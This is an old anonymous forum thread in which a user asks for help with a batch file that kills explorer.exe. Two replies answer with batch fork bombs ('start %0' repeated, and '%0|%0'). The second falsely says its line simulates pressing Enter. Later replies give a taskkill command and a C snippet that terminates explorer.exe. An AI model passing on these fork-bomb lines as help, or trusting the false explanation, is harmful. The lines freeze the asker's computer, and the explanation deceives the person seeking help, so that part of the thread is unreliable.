1
Name:
sheen
2009-07-19 16:30
i need some help here guys
righttt, im making a small batch file that will shut down a desktop this is what ive got so far
"@echo off
echo goodbye desktop
taskkill /PID explorer.exe
pause
exit"
i guess i need something to press the enter button, how do i do this?
2
Name:
!3LrT5NRVks
2009-07-19 16:41
try this:
start %0
start %0
4
Name:
Anonymous
2009-07-19 16:55
>>1
Don't listen to
>>2
Try this
@echo off
your_code_here
%0|%0
That'll echo an enter back into the console, simulating a user pressing it.
5
Name:
Anonymous
2009-07-19 17:59
Bro, taskkill /f /im explorer.exe, bro.
8
Name:
Anonymous
2009-07-19 19:25
Bro,
INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
PROCESSENTRY32 lppe;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
lppe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot, &lppe);
do {
if (strcmp(lppe.szExeFile, "explorer.exe") == 0)
TerminateProcess(OpenProcess(PROCESS_TERMINATE,0,lppe.th32ProcessID),0);
} while(Process32Next(hSnapshot, &lppe));
CloseHandle(hSnapshot);
return 0;
}